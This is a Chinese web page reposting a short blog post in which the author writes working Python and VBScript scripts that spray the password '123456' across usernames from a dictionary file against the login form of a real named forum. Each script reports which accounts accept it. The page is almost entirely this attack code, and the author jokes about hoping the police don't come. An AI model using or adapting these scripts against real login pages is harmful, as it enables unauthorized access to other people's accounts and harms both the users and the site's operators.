脚本专栏 
首页 > 脚本专栏 > 浏览文章

Python牛刀小试密码爆破

(编辑:jimmy 日期: 2024/5/20 浏览:3 次 )
难道真的要我破解一个么?算了,正好试试我的Python水平。
python版
复制代码 代码如下:
#coding: gbk
import httplib, urllib

def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密码不正确") != -1:
return False
elif res.find("不存在这个用户") != -1:
return False
else:
return True

for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
复制代码 代码如下:
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With

Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密码不正确") Then
Check = False
ElseIf InStr(response,"不存在这个用户") Then
Check = False
Else
Check = True
End If
End Function

Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
上一篇:python实现的防DDoS脚本
下一篇:初学python数组的处理代码
友情链接:杰晶网络 DDR爱好者之家 南强小屋 黑松山资源网 白云城资源网